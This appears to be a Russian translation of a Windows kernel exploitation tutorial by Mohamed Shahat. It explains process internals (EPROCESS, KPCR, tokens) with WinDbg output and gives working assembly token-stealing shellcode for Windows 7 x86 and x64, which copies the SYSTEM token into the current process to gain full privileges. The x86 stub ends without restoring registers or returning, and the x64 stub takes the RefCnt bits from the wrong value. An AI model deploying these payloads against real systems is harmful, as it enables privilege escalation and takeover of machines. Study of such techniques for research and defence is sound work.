Автор: Mohamed Shahat
Этот пост посвящен полезным нагрузкам, которые будут использоваться в следующих частях.
Весь код находится в моем репозитории.
Некоторые замечания
- Иногда вы сможете управлять адресом возврата функции. В этом случае вы сможете указать этот адрес на буфер, находящийся в памяти пользовательского режима (user-mode) только если функция SMEP (Supervisor Mode Execution Protection) отключена.
- Полезные нагрузки должны находиться в сегменте памяти, в котором разрешено выполнение. Если использовать память с атрибутами только на чтение или любую другую комбинацию, где отсутствуют права на выполнение, выполнение шелл-кода завершится неудачно из-за функции DEP (Data Execution Prevention; Предотвращение выполнение данных).
- Полезные нагрузки написаны на ассемблере. Если вы не фанат копирования шестнадцатеричных строк, рекомендую выполнять компиляцию проекта на лету Visual Studio. Этот метод работает для архитектур x86 и x64 и позволяет избежать проблем при удалении начала/конца функций, создания RWX-буфера (read, write, execute) и копирования шелл-кода или записи встроенного ассемблерного x64-кода.
Руководство по настройке проекта в Visual Studio для записи встроенного ассемблерного x64-кода.
Существуют другие альтернативы:
- Использование masm и копирование шелл-кода в RWX-буфер во время выполнения.
- Использование функций с атрибутом naked. Однако этот метод работает только для x86.
- Встроенный ассемблерный код также работает только для x86.
Базовая обертка полезной нагрузки для x86
.386
.model flat, c ; cdecl / stdcall
ASSUME FS:NOTHING
.code
PUBLIC PAYLOAD
PAYLOAD proc
; Payload here
PAYLOAD ENDP
end
Базовая обертка полезной нагрузки для x64
.code
PUBLIC PAYLOAD
PAYLOAD proc
; Payload here
PAYLOAD ENDP
end
Краткое описание внутреннего устройства процесса
- Каждый Windows-процесс представлен структурой EPROCESS. Содержимое EPROCESS доступно для ознакомления при помощи команды dt nt!_EPROCESS optional_process_address.
- Большинство структур EPROCESS находится в пространстве ядра. PEB (Process Environment Block; Блок окружения процесса) находится в пространстве пользователя. Соответственно, код пространства пользователя может взаимодействовать с этой структурой. Содержимое PEB доступно для ознакомления при помощи команды dt nt!_PEB optional_process_address. Если вы находитесь в контексте процесса, можете воспользоваться альтернативной командой !peb
kd> !process 0 0 explorer.exe
PROCESS ffff9384fb0c35c0
SessionId: 1 Cid: 0fc4 Peb: 00bc3000 ParentCid: 0fb4
DirBase: 3a1df000 ObjectTable: ffffaa88aa0de500 HandleCount: 1729.
Image: explorer.exe
kd> .process /i ffff9384fb0c35c0
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
kd> g
Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPointWithStatus:
fffff802`80002c60 cc int 3
kd> !peb
PEB at 0000000000bc3000
InheritedAddressSpace: No
ReadImageFileExecOptions: No
...
- Структура EPROCESS содержит поле Token, которое сообщает системе о том, какие привилегии у процесса. Наша цель – токен привилегированного процесса (например, System). Если мы сможет украсть токен и перезаписать токен текущего процесса, привилегии текущего процесса повысятся. Эта техника называется «расширение привилегий».
- В разные операционных системах используются разные смещения. Соответственно, вам нужно менять эти значения в полезной нагрузке. WinDBG – ваш друг и помощник.
Полезная нагрузка для кражи токена
Представьте себе, что мы умеем запускать любой код с целью замены токена текущего процесса на более привилегированный токен, с чего бы мы начали? Первая мысль, которая приходит в голову – PCR, поскольку местонахождение этой структуры не меняется. При помощи WinDBG мы сможем найти структуру EPROCESS текущего процесса и произвести замену токена на токен процесса System (PID 4).
- Нахождение PCR
PCR имеет фиксированное расположение (gs:[0] и fs:[0] для x64/x86)
- Расположение PcrbData
kd> dt nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 GdtBase : Ptr64 _KGDTENTRY64
+0x008 TssBase : Ptr64 _KTSS64
+0x010 UserRsp : Uint8B
+0x018 Self : Ptr64 _KPCR
+0x020 CurrentPrcb : Ptr64 _KPRCB
+0x028 LockArray : Ptr64 _KSPIN_LOCK_QUEUE
+0x030 Used_Self : Ptr64 Void
+0x038 IdtBase : Ptr64 _KIDTENTRY64
+0x040 Unused : [2] Uint8B
+0x050 Irql : UChar
+0x051 SecondLevelCacheAssociativity : UChar
+0x052 ObsoleteNumber : UChar
+0x053 Fill0 : UChar
+0x054 Unused0 : [3] Uint4B
+0x060 MajorVersion : Uint2B
+0x062 MinorVersion : Uint2B
+0x064 StallScaleFactor : Uint4B
+0x068 Unused1 : [3] Ptr64 Void
+0x080 KernelReserved : [15] Uint4B
+0x0bc SecondLevelCacheSize : Uint4B
+0x0c0 HalReserved : [16] Uint4B
+0x100 Unused2 : Uint4B
+0x108 KdVersionBlock : Ptr64 Void
+0x110 Unused3 : Ptr64 Void
+0x118 PcrAlign1 : [24] Uint4B
+0x180 Prcb : _KPRCB <====
- Расположение CurrentThread
kd> dt nt!_KPRCB
+0x000 MxCsr : Uint4B
+0x004 LegacyNumber : UChar
+0x005 ReservedMustBeZero : UChar
+0x006 InterruptRequest : UChar
+0x007 IdleHalt : UChar
+0x008 CurrentThread : Ptr64 _KTHREAD <====
- Расположение EPROCESS текущего процесса
Адрес EPROCESS находится практически в том же месте: _KTHREAD.ApcState.Process.
- Расположение EPROCESS процесса SYSTEM
Используя связанный список _EPROCESS.ActiveProcessLinks.Flink, мы может переходить между процессами итеративным путем. Во время каждой итерации нужно проверять, не равен ли UniqueProcessId числу 4, которое соответствует PID’у процесса System.
- Замена токена
После нахождения заменяем токен текущего процесса на токен процесса SYSTEM.
Обратите внимание, что значение поля Token принадлежит типу _EX_FAST_REF, и младшие 4 бита не являются частью токена.
kd> dt _EX_FAST_REF
ntdll!_EX_FAST_REF
+0x000 Object : Ptr64 Void
+0x000 RefCnt : Pos 0, 4 Bits
+0x000 Value : Uint8B
Обычно при замене токена это значение нужно сохранять, однако я не сталкивался с какими-либо проблемами при заменах.
Полезная нагрузка для кражи токенов под Windows 7 x86 SP1
.386
.model flat, c ; cdecl / stdcall
ASSUME FS:NOTHING
.code
PUBLIC StealToken
StealToken proc
pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, DWORD PTR fs:[eax + 124h] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS : [0x124]
mov eax, [eax + 50h] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, 04h ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + 0B8h] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0B8h
cmp[eax + 0B4h], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + 0F8h] ; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + 0F8h], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
StealToken ENDP
end
Полезная нагрузка для кражи токенов под Windows 7 x64
.code
PUBLIC GetToken
GetToken proc
; Start of Token Stealing Stub
xor rax, rax ; Set ZERO
mov rax, gs:[rax + 188h] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at GS : [0x188]
mov rax, [rax + 70h] ; Get nt!_KTHREAD.ApcState.Process
mov rcx, rax ; Copy current process _EPROCESS structure
mov r11, rcx ; Store Token.RefCnt
and r11, 7
mov rdx, 4h ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov rax, [rax + 188h] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub rax, 188h
cmp[rax + 180h], rdx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov rdx, [rax + 208h] ; Get SYSTEM process nt!_EPROCESS.Token
and rdx, 0fffffffffffffff0h
or rdx, r11
mov[rcx + 208h], rdx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
GetToken ENDP
end